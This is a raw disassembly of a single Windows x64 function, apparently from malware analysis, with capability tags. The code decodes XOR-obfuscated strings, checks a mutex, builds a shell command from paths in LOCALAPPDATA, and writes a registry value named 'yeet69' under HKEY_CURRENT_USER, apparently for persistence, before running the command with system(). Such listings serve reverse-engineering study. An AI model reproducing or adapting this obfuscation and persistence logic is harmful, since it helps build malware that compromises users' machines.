Function at 0x14000e760
Capabilities:
Execute command
Open clipboard
Read clipboard data
Set registry value
Write clipboard data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x140018040]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov cl, 7
mov byte [rbp + 0x50], 0x52
movzx r11d, cl
mov r8b, 0x18
movzx ebx, r8b
mov dl, 0x39
xor cl, 0x52
xor r8b, 0x52
xor dl, 0x52
mov byte [rbp + 0x52], cl
mov al, 0x33
mov byte [rbp + 0x54], r8b
mov r9b, 0x79
mov byte [rbp + 0x53], dl
mov r10b, 0x36
lea r8, [rbp + 0x51]
xor al, 0x52
xor r9b, 0x52
xor r10b, 0x52
mov byte [rbp + 0x51], al
xor r11b, 0x52
mov byte [rbp + 0x55], r9b
mov dil, 0x2a
mov byte [rbp + 0x56], r10b
xor esi, esi
mov byte [rbp + 0x57], r11b
xor bl, 0x52
mov byte [rbp + 0x5a], sil
xor dil, 0x52
mov byte [rbp + 0x58], bl
mov ecx, 0x1f0001
mov byte [rbp + 0x59], dil
xor edx, edx
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
je 0x14000e80a
xor eax, eax
jmp 0x14000f868
lea r8, str.localappdata
mov qword [rsp + 0x4a8], r14
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x40], r12
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x48], r12
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14000fc76
mov r14, qword [rsp + 0x40]
test r14, r14
je 0x14000fc76
mov rdi, qword [rsp + 0x48]
movabs rbx, 0x7fffffffffffffff
dec rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
cmp rdi, rbx
ja 0x14000fc80
cmp rdi, 0xf
ja 0x14000e8a5
mov r8, rdi
mov qword [rbp + 0xb0], rdi
mov rdx, r14
mov qword [rbp + 0xb8], 0xf
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0xa0], sil
jmp 0x14000e93d
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x14000e8de
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140010088
test rax, rax
je 0x14000e9b7
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000e916
mov ecx, 0x16
mov rbx, rax
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000e909
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000fc86
jmp 0x14000e8bf
test rcx, rcx
je 0x14000e916
call fcn.140010088
mov rsi, rax
mov r8, rdi
mov qword [rbp + 0xa0], rsi
mov rdx, r14
mov qword [rbp + 0xb0], rdi
mov rcx, rsi
mov qword [rbp + 0xb8], rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rdi], r12b
cmp qword [rbp + 0xb8], 0xf
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x90]
cmova rax, qword [rbp + 0xa0]
lea rcx, [rbp + 0x1e8]
mov qword [rbp + 0x90], rax
xor r8d, r8d
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x98], rax
call fcn.140003d90
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000e9c3
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e9be
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e9be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100c4
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov cl, 0x75
mov byte [rbp + 0xe8], 0x10
movzx edx, cl
movzx r10d, cl
movzx ebx, cl
mov al, 0x69
xor al, 0x10
xor cl, 0x10
mov byte [rbp + 0xe9], al
xor dl, 0x10
xor r10b, 0x10
mov byte [rbp + 0xea], cl
xor edi, edi
mov byte [rbp + 0xeb], dl
lea rax, [rbp + 0xe9]
mov byte [rbp + 0xee], r10b
mov r8b, 0x64
mov qword [rbp + 0x90], rax
xor r8b, 0x10
mov byte [rbp + 0xf1], dil
mov r9b, 0x3e
mov byte [rbp + 0xec], r8b
xor r9b, 0x10
lea rcx, [rbp + 0xe9]
mov r11b, 0x68
mov byte [rbp + 0xed], r9b
xor r11b, 0x10
mov rax, 0xffffffffffffffff
xor bl, 0x10
mov byte [rbp + 0xef], r11b
mov byte [rbp + 0xf0], bl
inc rax
cmp byte [rcx + rax], dil
jne 0x14000ea60
xor r8d, r8d
mov qword [rbp + 0x98], rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x148]
call fcn.140003d90
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x128]
call fcn.140007280
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x128]
call fcn.140007f00
lea rcx, [rbp + 0x148]
call fcn.14000ccb0
mov r8d, 0x104
lea rdx, [rbp + 0x250]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x250]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x250]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], dil
jne 0x14000eaf0
xor r8d, r8d
mov qword [rbp + 0x98], rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x168]
call fcn.140003d90
cmp qword [rbp + 0x140], 7
lea rax, [rbp + 0x128]
lea rdx, [rbp + 0x90]
cmova rax, qword [rbp + 0x128]
lea rcx, [rbp + 0x168]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
call fcn.14000d3e0
test eax, eax
je 0x14000f885
lea rax, [0x140012c70]
mov qword [rsp + 0x4b0], r15
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x18]
lea rax, [0x140012c78]
mov qword [rsp + 0x60], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
movdqa xmm1, xmmword [0x140012f80]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
movdqa xmm2, xmmword [0x140012f10]
mov r8b, 0x1e
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x70], xmm2
mov qword [rsp + 0x68], rax
mov cl, 0x4a
xor byte [rbp + 0x71], dl
xor cl, dl
xor byte [rbp + 0x72], dl
movzx r11d, r8b
xor byte [rbp + 0x73], dl
movzx edi, r8b
xor byte [rbp + 0x74], dl
movzx r15d, r8b
xor byte [rbp + 0x75], dl
mov sil, 0x18
xor byte [rbp + 0x76], dl
mov r9b, 0x13
xor byte [rbp + 0x77], dl
mov r10b, 0x50
xor byte [rbp + 0x78], dl
mov bl, 0xf
xor byte [rbp + 0x79], dl
movzx r14d, sil
xor byte [rbp + 0x7a], dl
xor byte [rbp + 0x7b], dl
xor byte [rbp + 0x7c], dl
xor byte [rbp + 0x7d], dl
xor byte [rbp + 0x7e], dl
xor byte [rbp + 0x7f], dl
movdqu xmmword [rbp + 0x60], xmm1
xor byte [rbp + 0x62], dl
xor byte [rbp + 0x63], dl
xor byte [rbp + 0x64], dl
xor byte [rbp + 0x65], dl
xor byte [rbp + 0x66], dl
xor byte [rbp + 0x67], dl
xor byte [rbp + 0x68], dl
xor byte [rbp + 0x69], dl
xor byte [rbp + 0x6a], dl
xor byte [rbp + 0x6b], dl
xor byte [rbp + 0x6c], dl
xor byte [rbp + 0x6d], dl
xor byte [rbp + 0x6e], dl
xor byte [rbp + 0x6f], dl
psrldq xmm0, 1
movd eax, xmm0
mov qword [rbp - 0x30], r12
mov dword [rbp - 0x28], r12d
xor al, dl
mov byte [rbp + 0x80], cl
mov byte [rbp + 0x61], al
movd eax, xmm2
xor al, dl
xor r8b, dl
mov byte [rbp + 0x70], al
mov byte [rbp + 0x81], r8b
xor r9b, dl
mov byte [rbp + 0x8a], r12b
xor r10b, dl
mov byte [rbp + 0x82], r9b
xor r11b, dl
mov byte [rbp + 0x83], r10b
xor bl, dl
mov byte [rbp + 0x84], r11b
xor dil, dl
mov byte [rbp + 0x85], bl
xor sil, dl
mov byte [rbp + 0x86], dil
xor r14b, dl
mov byte [rbp + 0x87], sil
xor r15b, dl
mov byte [rbp + 0x88], r14b
lea rdx, [rbp + 0x61]
mov byte [rbp + 0x89], r15b
lea rcx, [rsp + 0x60]
call fcn.1400034a0
mov cl, 0x79
mov byte [rbp + 0x120], 0x1a
xor cl, 0x1a
mov dl, 0x75
xor dl, 0x1a
mov byte [rbp + 0x121], cl
mov r8b, 0x6a
mov byte [rbp + 0x122], dl
mov r9b, 0x63
lea rdx, [rbp + 0x121]
mov r10b, 0x3a
mov r11b, 0x38
xor r8b, 0x1a
xor r9b, 0x1a
xor r10b, 0x1a
mov byte [rbp + 0x123], r8b
xor r11b, 0x1a
mov byte [rbp + 0x124], r9b
xor ebx, ebx
mov byte [rbp + 0x125], r10b
mov rcx, rax
mov byte [rbp + 0x126], r11b
mov byte [rbp + 0x127], bl
call fcn.1400034a0
lea rdx, [rbp + 0x188]
mov rbx, rax
lea rcx, [rbp + 0x168]
call fcn.14000e4e0
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000eda5
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400049c0
lea rdx, [0x140012ca4]
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x148]
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14000e4e0
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000ede3
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400049c0
lea rdx, str.__
mov rcx, rax
call fcn.1400034a0
movdqa xmm1, xmmword [0x140012e30]
mov r8b, 0x76
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
mov r9b, 0x74
mov byte [rbp + 0xb2], r12b
xor r8b, dl
psrldq xmm0, 1
xor byte [rbp + 0xa2], dl
xor r9b, dl
xor byte [rbp + 0xa3], dl
xor byte [rbp + 0xa4], dl
xor byte [rbp + 0xa5], dl
xor byte [rbp + 0xa6], dl
xor byte [rbp + 0xa7], dl
xor byte [rbp + 0xa8], dl
xor byte [rbp + 0xa9], dl
xor byte [rbp + 0xaa], dl
xor byte [rbp + 0xab], dl
xor byte [rbp + 0xac], dl
xor byte [rbp + 0xad], dl
xor byte [rbp + 0xae], dl
xor byte [rbp + 0xaf], dl
movd ecx, xmm0
mov byte [rbp + 0xb0], r8b
mov byte [rbp + 0xb1], r9b
xor cl, dl
lea rdx, [rbp + 0xa1]
mov byte [rbp + 0xa1], cl
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x1c8]
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14000e4e0
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000eece
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400049c0
lea rdx, str.__
mov rcx, rax
call fcn.1400034a0
mov dl, 0x51
mov byte [rbp + 0x50], 0x32
movzx r9d, dl
mov cl, 0x5b
xor dl, 0x32
xor cl, 0x32
mov r8b, 0x53
mov byte [rbp + 0x52], dl
mov r10b, 0x5e
mov byte [rbp + 0x51], cl
mov r11b, 0x41
lea rdx, [rbp + 0x51]
xor r8b, 0x32
xor r9b, 0x32
xor r10b, 0x32
mov byte [rbp + 0x53], r8b
xor r11b, 0x32
mov byte [rbp + 0x54], r9b
mov bl, 0x12
mov byte [rbp + 0x55], r10b
mov dil, 0x10
mov byte [rbp + 0x56], r11b
xor esi, esi
xor bl, 0x32
xor dil, 0x32
mov byte [rbp + 0x57], bl
mov rcx, rax
mov byte [rbp + 0x58], dil
mov byte [rbp + 0x59], sil
call fcn.1400034a0
lea rdx, [rbp + 0x1a8]
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14000e4e0
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000ef72
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400049c0
movdqa xmm1, xmmword [0x140012e10]
mov rdi, rax
movd ecx, xmm1
mov r9b, 0x63
movdqa xmm2, xmmword [str._ayk]
mov r10b, 0x65
movdqu xmmword [rbp + 0xd0], xmm2
xor byte [rbp + 0xd1], cl
movzx r11d, r10b
xor byte [rbp + 0xd2], cl
movzx ebx, r9b
xor byte [rbp + 0xd3], cl
xor r9b, cl
xor byte [rbp + 0xd4], cl
xor r10b, cl
xor byte [rbp + 0xd5], cl
xor r11b, cl
xor byte [rbp + 0xd6], cl
xor bl, cl
xor byte [rbp + 0xd7], cl
movdqa xmm0, xmm1
xor byte [rbp + 0xd8], cl
mov dl, 2
xor byte [rbp + 0xd9], cl
xor dl, cl
xor byte [rbp + 0xda], cl
mov r8b, 0x6a
xor byte [rbp + 0xdb], cl
xor r8b, cl
xor byte [rbp + 0xdc], cl
xor byte [rbp + 0xdd], cl
xor byte [rbp + 0xde], cl
xor byte [rbp + 0xdf], cl
movdqu xmmword [rbp + 0xc0], xmm1
xor byte [rbp + 0xc2], cl
xor byte [rbp + 0xc3], cl
xor byte [rbp + 0xc4], cl
xor byte [rbp + 0xc5], cl
xor byte [rbp + 0xc6], cl
xor byte [rbp + 0xc7], cl
xor byte [rbp + 0xc8], cl
xor byte [rbp + 0xc9], cl
xor byte [rbp + 0xca], cl
xor byte [rbp + 0xcb], cl
xor byte [rbp + 0xcc], cl
xor byte [rbp + 0xcd], cl
xor byte [rbp + 0xce], cl
xor byte [rbp + 0xcf], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp + 0xe0], dl
lea rdx, [rbp + 0xc1]
mov byte [rbp + 0xe1], r8b
xor al, cl
mov byte [rbp + 0xe2], r9b
mov byte [rbp + 0xc1], al
movd eax, xmm2
mov byte [rbp + 0xe3], r10b
mov byte [rbp + 0xe4], r11b
xor al, cl
mov byte [rbp + 0xe5], bl
mov rcx, rdi
mov byte [rbp + 0xd0], al
mov byte [rbp + 0xe6], sil
call fcn.1400034a0
mov cl, 3
mov byte [rbp + 0xf8], 0x67
xor cl, 0x67
mov dl, 2
xor dl, 0x67
mov byte [rbp + 0xf9], cl
mov r8b, 0xb
mov byte [rbp + 0xfa], dl
xor r8b, 0x67
mov r9b, 0x47
mov byte [rbp + 0xfb], r8b
xor r9b, 0x67
mov r10b, 0x45
xor r10b, 0x67
mov byte [rbp + 0xfc], r9b
lea rdx, [rbp + 0xf9]
mov byte [rbp + 0xfd], r10b
mov rcx, rax
mov byte [rbp + 0xfe], sil
call fcn.1400034a0
lea rdx, [rbp + 0x228]
mov rbx, rax
lea rcx, [rbp + 0x168]
call fcn.14000e4e0
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000f155
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400049c0
lea rdx, str.__
mov rcx, rax
call fcn.1400034a0
movdqa xmm1, xmmword [0x140012e00]
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov byte [rbp + 0x110], sil
xor byte [rbp + 0x102], dl
xor byte [rbp + 0x103], dl
xor byte [rbp + 0x104], dl
xor byte [rbp + 0x105], dl
xor byte [rbp + 0x106], dl
xor byte [rbp + 0x107], dl
xor byte [rbp + 0x108], dl
xor byte [rbp + 0x109], dl
xor byte [rbp + 0x10a], dl
xor byte [rbp + 0x10b], dl
xor byte [rbp + 0x10c], dl
xor byte [rbp + 0x10d], dl
xor byte [rbp + 0x10e], dl
xor byte [rbp + 0x10f], dl
psrldq xmm0, 1
movd ecx, xmm0
xor cl, dl
lea rdx, [rbp + 0x101]
mov byte [rbp + 0x101], cl
mov rcx, rax
call fcn.1400034a0
lea rdx, [rbp + 0x208]
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14000e4e0
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000f226
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400049c0
movdqa xmm1, xmmword [str._B_FF_]
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x90], xmm1
mov byte [rbp + 0x9f], sil
xor byte [rbp + 0x92], dl
xor byte [rbp + 0x93], dl
xor byte [rbp + 0x94], dl
xor byte [rbp + 0x95], dl
xor byte [rbp + 0x96], dl
xor byte [rbp + 0x97], dl
xor byte [rbp + 0x98], dl
xor byte [rbp + 0x99], dl
xor byte [rbp + 0x9a], dl
xor byte [rbp + 0x9b], dl
xor byte [rbp + 0x9c], dl
xor byte [rbp + 0x9d], dl
xor byte [rbp + 0x9e], dl
psrldq xmm0, 1
movd ecx, xmm0
xor cl, dl
lea rdx, [rbp + 0x91]
mov byte [rbp + 0x91], cl
mov rcx, rax
call fcn.1400034a0
mov rcx, rax
lea rdx, str.__exit__
call fcn.1400034a0
lea rcx, [rbp + 0x208]
call fcn.1400079b0
lea rcx, [rbp + 0x228]
call fcn.1400079b0
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x14000f326
mov rcx, qword [rbp + 0x1a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f321
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f421
call fcn.1400100c4
mov rdx, qword [rbp + 0x1e0]
movdqa xmm0, xmmword [0x140012ce0]
mov byte [rbp + 0x1a8], sil
movdqu xmmword [rbp + 0x1b8], xmm0
cmp rdx, 0xf
jbe 0x14000f37e
mov rcx, qword [rbp + 0x1c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f379
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f421
call fcn.1400100c4
mov rdx, qword [rbp + 0x160]
movdqa xmm0, xmmword [0x140012ce0]
mov byte [rbp + 0x1c8], sil
movdqu xmmword [rbp + 0x1d8], xmm0
cmp rdx, 0xf
jbe 0x14000f3d2
mov rcx, qword [rbp + 0x148]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f3cd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f421
call fcn.1400100c4
mov rdx, qword [rbp + 0x1a0]
movdqa xmm0, xmmword [0x140012ce0]
mov byte [rbp + 0x148], sil
movdqu xmmword [rbp + 0x158], xmm0
cmp rdx, 0xf
jbe 0x14000f42d
mov rcx, qword [rbp + 0x188]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f428
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f428
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100c4
movdqa xmm1, xmmword [0x140012e90]
mov cl, 0x52
movd r11d, xmm1
mov dl, 0x59
movdqa xmm2, xmmword [0x140012eb0]
movzx r10d, cl
movdqu xmmword [rbp + 0x70], xmm2
xor byte [rbp + 0x71], r11b
movzx r15d, dl
xor byte [rbp + 0x72], r11b
xor cl, r11b
xor byte [rbp + 0x73], r11b
xor dl, r11b
xor byte [rbp + 0x74], r11b
xor r10b, r11b
xor byte [rbp + 0x75], r11b
xor r15b, r11b
xor byte [rbp + 0x76], r11b
movdqa xmm0, xmm1
xor byte [rbp + 0x77], r11b
mov r8b, 0x43
xor byte [rbp + 0x78], r11b
xor r8b, r11b
xor byte [rbp + 0x79], r11b
mov r9b, 0x61
xor byte [rbp + 0x7a], r11b
xor r9b, r11b
xor byte [rbp + 0x7b], r11b
mov bl, 0x45
xor byte [rbp + 0x7c], r11b
xor bl, r11b
xor byte [rbp + 0x7d], r11b
mov dil, 0x44
xor byte [rbp + 0x7e], r11b
xor dil, r11b
xor byte [rbp + 0x7f], r11b
mov sil, 0x5e
movdqu xmmword [rbp + 0x60], xmm1
xor byte [rbp + 0x62], r11b
xor sil, r11b
xor byte [rbp + 0x63], r11b
mov r14b, 0x58
xor byte [rbp + 0x64], r11b
xor r14b, r11b
xor byte [rbp + 0x65], r11b
xor byte [rbp + 0x66], r11b
xor byte [rbp + 0x67], r11b
xor byte [rbp + 0x68], r11b
xor byte [rbp + 0x69], r11b
xor byte [rbp + 0x6a], r11b
xor byte [rbp + 0x6b], r11b
xor byte [rbp + 0x6c], r11b
xor byte [rbp + 0x6d], r11b
xor byte [rbp + 0x6e], r11b
xor byte [rbp + 0x6f], r11b
mov qword [rbp + 0xe8], r12
mov r12b, 0x6b
mov qword [rsp + 0x4a0], r13
xor r12b, r11b
psrldq xmm0, 1
mov r13b, 0x65
movd eax, xmm0
mov byte [rbp + 0x80], cl
mov byte [rbp + 0x81], dl
xor al, r11b
mov byte [rbp + 0x82], r8b
mov byte [rbp + 0x61], al
movd eax, xmm2
mov byte [rbp + 0x83], r9b
mov byte [rbp + 0x84], r10b
xor al, r11b
mov byte [rbp + 0x85], bl
xor r13b, r11b
mov byte [rbp + 0x70], al
mov byte [rbp + 0x8b], r13b
mov al, 0x42
mov byte [rbp + 0x86], dil
mov byte [rbp + 0x87], sil
mov byte [rbp + 0x88], r14b
mov byte [rbp + 0x89], r15b
mov byte [rbp + 0x8a], r12b
xor al, r11b
mov byte [rbp + 0x8e], 0
mov byte [rbp + 0x8c], al
lea r8, [rbp + 0xe8]
mov al, 0x59
lea rdx, [rbp + 0x61]
xor al, r11b
mov rcx, 0xffffffff80000001
mov byte [rbp + 0x8d], al
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x128]
call fcn.14000e4e0
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x128]
mov ebx, dword [rax + 0x10]
inc ebx
call fcn.14000e4e0
mov r13, qword [rsp + 0x4a0]
cmp qword [rax + 0x18], 0xf
jbe 0x14000f5f6
mov rax, qword [rax]
mov rcx, qword [rbp + 0xe8]
lea rdx, str.yeet69
mov dword [rsp + 0x28], ebx
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x14000f659
mov rcx, qword [rbp + 0x148]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f654
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f6a8
call fcn.1400100c4
mov rdx, qword [rbp + 0x1a0]
movdqa xmm0, xmmword [0x140012ce0]
mov byte [rbp + 0x148], 0
movdqu xmmword [rbp + 0x158], xmm0
cmp rdx, 0xf
jbe 0x14000f6b4
mov rcx, qword [rbp + 0x188]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f6af
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f6af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100c4
mov ecx, dword [rbp - 0x28]
xorps xmm0, xmm0
movdqa xmm1, xmmword [0x140012ce0]
mov eax, ecx
and al, 0x22
movups xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0x100], 0
movdqu xmmword [rbp + 0x110], xmm1
movups xmmword [rbp + 0xa0], xmm0
cmp al, 2
je 0x14000f72f
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14000f72c
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbase_void_const___ptr64]
lea rcx, [rsp + 0x68]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, qword [rbp - 0x30]
lea rcx, [rsp + 0x68]
mov rbx, rax
cmovb rbx, qword [rbp - 0x30]
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
jmp 0x14000f773
mov ecx, dword [rbp - 0x28]
test cl, 4
jne 0x14000f765
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
test rax, rax
je 0x14000f765
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rsp + 0x68]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::egptr_void_const___ptr64]
mov rbx, rax
sub rbx, rdi
jmp 0x14000f773
mov rbx, qword [rbp + 0xa8]
mov rdi, qword [rbp + 0xa0]
test rdi, rdi
je 0x14000f78a
mov r8, rbx
lea rcx, [rbp + 0x100]
mov rdx, rdi
call fcn.14000d200
cmp qword [rbp + 0x118], 0xf
lea rcx, [rbp + 0x100]
cmova rcx, qword [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x14000f7eb
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f7e6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f7e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400100c4
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x68]
call fcn.140007a20
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x168]
call fcn.14000ccb0
lea rcx, [rbp + 0x128]
call fcn.14000ccb0
lea rcx, [rbp + 0x1e8]
call fcn.14000ccb0
mov r15, qword [rsp + 0x4b0]
xor eax, eax
mov r14, qword [rsp + 0x4a8]
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140010420
add rsp, 0x470
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [rbp + 0x168]
call fcn.14000ccb0
lea rcx, [rbp + 0x128]
call fcn.14000ccb0
lea rcx, [rbp + 0x1e8]
call fcn.14000ccb0
mov cl, 0x7f
mov byte [rbp + 0x50], 0x2a
movzx r11d, cl
mov r8b, 0x60
movzx ebx, r8b
mov dl, 0x41
xor cl, 0x2a
xor r8b, 0x2a
xor dl, 0x2a
mov byte [rbp + 0x52], cl
mov al, 0x4b
mov byte [rbp + 0x54], r8b
mov r9b, 1
mov byte [rbp + 0x53], dl
mov r10b, 0x4e
lea r8, [rbp + 0x51]
xor esi, esi
xor al, 0x2a
xor r9b, 0x2a
mov byte [rbp + 0x51], al
xor r10b, 0x2a
mov byte [rbp + 0x55], r9b
xor r11b, 0x2a
mov byte [rbp + 0x56], r10b
xor bl, 0x2a
mov byte [rbp + 0x57], r11b
